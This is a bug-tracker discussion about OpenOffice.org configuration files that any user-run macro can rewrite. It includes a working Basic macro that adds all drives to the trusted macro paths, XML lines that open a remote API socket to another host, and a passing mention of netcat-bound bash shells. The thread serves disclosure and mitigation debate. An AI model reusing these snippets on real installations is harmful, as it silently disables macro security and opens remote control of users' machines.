Issue 18860

Hi,
adding me to cc
Best - Sophie

The users needs to give your macro the right to execute, and without
knowing what a macro does this shouldn't be done anyway.

You speak of a possible second macro to be executed afterwards, why
should the creator of a trojan wait for a second macro he could
destroy lots of things directly with his first macro.

I think the user is responsable to only execute macro that are stated
as secure or he knows what they do respectively.

Maybe one could think about a 'certificate' mechanism to restrict the
"normal" usage of macros, but that seems to me more like an RFE then a
Prio1-bug

Hi stefan,

sorry i don't agree
As explained, security settings can be changed outside OOo, 
independantly of OOBasic and macros
This is a first level simple and discret attack

The second level is providing a document containing an auto start 
macro or an hidden trojan, letting do what we want along the time

why will trojan creator wait ? who knows ? wait for a wide infection 
to synchronize an attack on OOo servers ;-))

for the certificate, i agree
Nevertheless this P1 generates an RFE ok
But this flow remains a critical issue and should be treated as this

Laurent

And how do you make the macro execute which changes the settings?  If
somebody is already able to execute unpreotected code on your machine
then your machine IS ALREADY exploitet.   Then nothing helps anymore.
 This script could even patch OOo itself and then OOo executes malicid
code.  Here only TCPA help (but I don't want it anyway).

Anyway, macro execution is a feature of the framework, not the API. 
The Api is just used.  Thus, if you really have an exploit, please
report it to the framework team.

As Stephan Wunderlich already said, I don't accept this issue.  

giving back to issuer

As Mickael stated, redirect Issue to framework ...

I think it is under-estimated
a small discret malicious code can give permissions
a second massive attack can then be performmed

Macro based tools are developping (see DicOOo, Vocabulary from Paolo 
Montovani, style-copier and Facturier from @picnet society ... ) + 
the ability to use them as add-ons

But this report is not related especially to macros. It is only a way 
I used to show the problem. The Secutity configuration file is 
accessible and not protected and can be modified without any warning

You can easily imagine different way of using this issue (e: for 
outlook users a worm that changes these OOo rights. Then an attached 
file containing destructive actions. This is dangerous as OOo is 
considered as more secure than other Office tools)

<jocking><upset>
do you need a real example, a wide massive "test" on users to see the 
problem ? If needed i can spend some hours on it ...
</upset></jocking> 

i hope my paranoia will not hurt you. I do think OOo is a great tool 
promised to a bright futur. But if users can't be confident in it, 
the success will transform as a disaster : "Why should we change ? it 
has the same problems than others ! We can not trust it concerning 
security ..." 
Once the exploit will be used for the first time, it will be too late 
and OOo community will have to spend lots of energy to fight about 
this image ...

Laurent

Change status to remove Invalid
Will be the last time i do it ...

Laurent

mh->kr: can please take a look and resolve the conflict ? :).

Hi

I found the same defect for java settings as the java.xcu is in 
\user\registry\data\org\openoffice\Office and is not protected

 <node oor:name="VirtualMachine">
  <prop oor:name="NetAccess" oor:type="xs:int">
   <value>0</value>
  </prop>
  <prop oor:name="UserClassPath" oor:type="xs:string">
   <value>c:\toto</value>
  </prop>
 </node>

this XML code can be modified without any warning to user allowing 
improper (dangerous?) use of OOo

Configuration files in share/registry/... are a bit more protected as 
it needs rights to be modified. Not impossible though
for common.xcs, java.xcs

ooo really should have a security builtin feature for these files

Laurent

Laurent, if I get you right, you are saying, that a virus with
read/write access to the SO configuration can change the configuration
to allow other macros etc. to be executed. As Michael already pointed
out, to have read/write access the virus must already be running,
which basically implies, that the virus can execute anything it wants
anyway. So, protecting the configuration wouldn't help at all, as the
virus can overwrite them anyway. Or did I get you wrong? What do you
suggest should we do?

Hi,
Thanks for your response
Basically, you caught my point
I agree with you that if a virus can modify OOO configuarion files at 
one moment, it can at this moment do what he wants ... The way he 
does it is my macro code snippet.
As tools as add-ons are more and more developped, such a code could 
be included easally as a trojan

Nevertheless, i thought about other possibilities
- open a gap for further less discret infections
- one of this could be a general DoS against a server, synchronized 
over all "infected" computers
- modifying the SetupConnectionURL (in share ... common.xcs) could 
allow remote access

well its perharps paranoia !!

For solution, it's difficult (and my knowledge is very very low)
It has to be simple enough so that users can deal with it
For config files modification:
- coming from inside OOo
as OOO caches registry, it can detect on close if secutity 
configuration has changed and asks for confirmation validated with an 
admin passphrase
- coming from outside
OOO stores a hash of secutity settings of previous session and checks 
against the new version

all of this done with cryptography with public and private key ???

I think it is a defect and if someone wants to hurt OpenOffice.org, 
it can do it TOO easely

Thanks again for your interrest
As you're now aware of it, i won't insist anymore and help if needed

Laurent 

OOps, you obviously have to read

Thanks again for your interrest
As you're now aware of it, i won't insist anymore and will help if 
needed

Laurent

I think we need to take this problem seriously. 
otherwise this problem can be as worst as VBA problem in MS Office. 

If Sun people didnt believe about this problem maybe you can make
simple macro to do something just for demonstration

Adding myself to CC ...

add mmp to cc

adding myself to CC list

i think this issue should be treated as a possible attack vector. ie had one non-
critical vuln, oe had one, blah, virus.

there are several possible ways to lessen 
danger, most already mentioned :
1. warn user if file contents are changed (don't 
know, keep some sort of encrypted & password protected checkum somewhere ?)
2. if a 
macro itself is trying to modify these files user is explicitly asked for permission.

Totally agree with previous comment

perharps an md5 representation of security settings coded with an 
admin passphrase
On change ask the passphrase to validate 

just my two cents

Laurent

This issue is non-sense.

If you can modify files, there are many more interesting files then
OOo configuration...

So this particular problem is of course invalid. On the other hand we
should think about making the security setting more fine-grained.

E.g.

- allow local file system access
- allow network connections

... etc.

All, I am still not convinced of this issue (also had private
discussions regarding this with Matthias Huetsch and Mathias Bauer).
To make this request valid, please list applications providing support
against agressors with full file system access and please name the
techniques they use. 

Hi Pavel, Hi Kay

Well, you stated that this issue is non-sense
Great
The first goal of my post was to point out this potential problem
According to you there's no problem and nothing has to be done
Great again

Kay, You asked for software providing support against agressors : 
what about Microsoft Office ? ......... ;-)

Well, as i reported you the problem I definitivelly feel free to 
build a 2 waves attack against OOo

I'll let you know by posting the results (a log URL) on this Issue

Thanks

Laurent

Laurent,

it is not that easy as you wrote and noone took that like you wrote.
Please read my post again. I wrote:

   > So this particular problem is of course invalid. On the other hand
   > we should think about making the security setting more
   > fine-grained.

I think we can make OOo secure by inventing that fine-grained security
settings.

Could you provide an application that:

a. has *full* access to local files
b. does not allow writing or changing some files
c. is secure in your point of view?

I do not know an application that fulfils all those rules...

Laurent, you named MS office having support against agressors with
full filesystem access. What does it look like?

Hi Kay,
Sorry, it was a bad joke (see smiley)

i wanted to point out that it is not because other office suites 
doesn't care about security that OOo should too

I agree that the problem is not simple but i think that some efforts 
has to be done to prevent script kiddies (as i consider myself) for 
playing with OOo security settings

security handling should be an argument for OOo against MS

Laurent

Laurent, I give this back to you, please come back to me, if you have
found some sample applications, which can protect themselfs against an
full rights aggressor, so that we can evaluate them and see, what we
can copy. 

Hi,

Why not use public/private key concepts to validate secutity related 
settings ?
Let me know on which ML we can discuss as i don't think IZ is a good 
place for discussion
(I don't want to reproduce #1820 ;-))

a bit disappointed that nothing about this is stated on Q concepts

Laurent

What is the connection between validating security settings and the
fact that there is no application that can secure itself against the
one who has full access to it?

It is nonsense to use public/private key when the attacker can change
public and *also* private key, because he has full access to both of
them...

*** This issue has been confirmed by popular vote. ***

removing myself from CC list

MSO users are protrected by many antivirus programs. 
 
I know a security representative of Peugeot (French car 
manufacturer) who told me that OOo was declared as a non secure 
solution. 
 
Is it possible to prevent users from using any macros? 
 
Fred 

Hmmm,

This issue looks like it was more of a reaction at finding out that the
configuration file can be changed, than something that should be addressed at a
high priority.

Now, while it's understandable that it's not nice to be able to fool OOo into
believing that any Macro on the planet is trusted... in order to do that
fooling, it looks like the PC in questions has to be compromised *already*, and
therefore abusing OOo is just a side affect, not an attack vector.

Kind of like saying "we found that we could modify the Java executable runtime
to actually allow applets on remote web pages to do local filesystem changes". 
Whilst that would be interesting, it still needs the system to be broken into
first in order to modify the local filesystem (the Java executable in this case).

And if someone can break into and modify the local filesystem first... then
heck, they could just modify the OOo executable itself to circumvent *any*
protection that's been put in place.

From this point of view, marking this issue as invalid/not valid is the correct
approach.

Does this made sense?

Regards and best wishes,

Justin Clift

Hi Justin,

Technically speaking I almost agree with you

For the end-user point of view, if some bad effects occurs on its PC through 
OOo, it will be OOO's responsability and not himself bad security aspects 
handling

Once a worm/virus will occur, let us cry ...

I give up

Laurent  

Hi again,

I come back to just let you know that i conducted some more tests

- the common.xcu is the one of stored in USER personnal datas
So security is compromised just for this user 
Great !!

The vector ? Any file containing a macro and accepted by user
No big deep hack of the PC. Just some social engineering ....

Moreover, what about these settings in java.xcu
 <node oor:name="VirtualMachine">
  <prop oor:name="NetAccess" oor:type="xs:int">
   <value>0</value>
  </prop>
  <prop oor:name="UserClassPath" oor:type="xs:string">
   <value>c:\dummy</value>
  </prop>
 </node>

 I attach an other version of the lacro (i'm not proud of it, it has been 
written in 2 minutes)

Laurent

my awfull macro
sorry for te readiness
----------------------------
sub DangerSecurite

finXml="</oor:component-data>"

chemin="C:\Documents and Settings\laurent\Application Data\OpenOffice.org1.1.0
\user"

file1=chemin+"\registry\data\org\openoffice\Office\common.xcu"
file2=chemin+"\registry\data\org\openoffice\Office\common.xcu2"

open file2 for output as #2

open file1 for input as #1
ligne=""
okTrouve=false
while ligne<>finXml
	line input #1,ligne
	if ligne<>finXML then
	print #2, ligne
		if instr(ligne,"<prop oor:name=""SecureURL"" 
oor:type=""oor:string-list"">")<>0 then
			line input #1, ligne
			i=instr(ligne,">")
			chaine=left(ligne,i)+"file:///c:/ file:///d:/ "+mid
(ligne,i+1)
			print #2, chaine
			okTrouve=true
		endif
	endif
wend

if not okTrouve then

 print #2,"<node oor:name=""Security"">"
  print #2,"<node oor:name=""Scripting"">"
  print #2," <prop oor:name=""SecureURL"" oor:type=""oor:string-list"">"
   print #2," <value>file:///c:/ file:///d:/ file:///e:/ file:///f:/ 
file:///g:/</value>"
  print #2," </prop>"
 print #2," </node>"
print #2," </node>"
	
endif

print #2, finXML

close #1
close #2

filecopy  file2, file1

msgbox "End of story"

end sub

Hi all,

well sorry for the noise :) I don't have much time know but promise to come 
back to devs asap

I know that dev are looking at that but here is an other way to compromise OOo

No special rights needed (user rights is perfect)
The purpose is to fill the SetupConnectionURL in the 
user\registry\data\org\openoffice\Setup.xcu file

The macro is the same i gave, only file and string written in it changed

print #2,"<prop oor:name=""ooSetupConnectionURL"" oor:type=""xs:string"">"
print #2,"<value>socket,host=192.168.0.20,port=8100;urp;</value>"
print #2,"</prop>"

Obviously, it works even i put the real IP and not localhost (verified with 
telnet on a local network)

Consequencies (Destroying any user data is not funny enough)

- lead to remotly crash OOo if telnet - already known
http://packetstorm.widexs.nl/0310-exploits/openoffice110.txt
- remotly control the user PC through OOo API, enabling, for eg
  - generalized DDoS on a target
  - grab all files readable by user
  - ...

Coupled to the previous weakness of allowed macro path i think it is a serious 
drawback ...

solution (only to make things a little bit harder):
add the finalize attribute by default in the setupConnectionURL node located 
in share/registry\data\org\openoffice\Setup.xcu
If the user did a "correct" installation regarding rights, it will protect 
against this modification

i leave, as promised before, the resolution status as ... INVALID

Thanks

Laurent

Laurent, when you already have user right for such user, why to use OOo to gain
more?

You can use simple netcat and put bash on some port...

No need to hack OOo BASIC.

And now you do not use OOo and only have simple script that launches netcat with
bash on some TCP port.

Where is the security issue? bash? netcat? System? User?

Changing Target to OOoLater 
Will have a look of changes implemented in 680 branch 
 
remember an easy setting to do to make things a little bit harder 
add the finalize attribute to the node SetupConnectionURL in 
share/registry/data/org/openoffice/setup.xcu  
 
Laurent 

this is not anywhere near P1, lowered to P3.

is this still exist or can we close it ? 

Good to see that the Java library mentioned does not allow for normal user to
become root/ Administrator.

>The trusted directory list is written as plain text in the 
><oooDir>/user/share/registry/data/org/openoffice/office/common.xcu
>This file is not protected

I see no problem with that as long as it cannot be altered by scripts run by
OpenOffice.org.

@pjanik: Most people running Windows are still running users with administrative
rights to run normal programs. This is of course far from secure.
Still, we are not living in Utopia. It is a reality that developers need to take
in account when designing security in any program that allows for scripted
file-access. These people mentioned above make up the majority of your userbase.

Any scripted change to the internal configuration files of OOo, especially the
entries concerning application security should be classified as possible threat
and dealt with accordingly. The suggested Administrator password method seems a
bit unfriendly for normal users who tend to forget the Administrator password.
A normal [OK, Cancel]-dialog clearly stating what file is about to be modified,
(not accessible by any scripts) would suffice here.
The decision of the user should be recorded locally, not in the file itself.
The same security should also be applied for scripted linking of the current
document to another file with write access to that file.

You claim that it makes no sense to provide any security if the File System is
already wide open.
Most applications I run don't allow for *scripted* changes to files without User
 Interaction, except for the document that the user is currently working on.
Read-access can pose some security threat, but Write access can prove fatal if
left unchecked.

As you may have noticed, my emphasis lies on *scripted* access, direct write
access to the File System without any confirmation required from the user.

.

to cancel my last change I set to invalid again

then -> close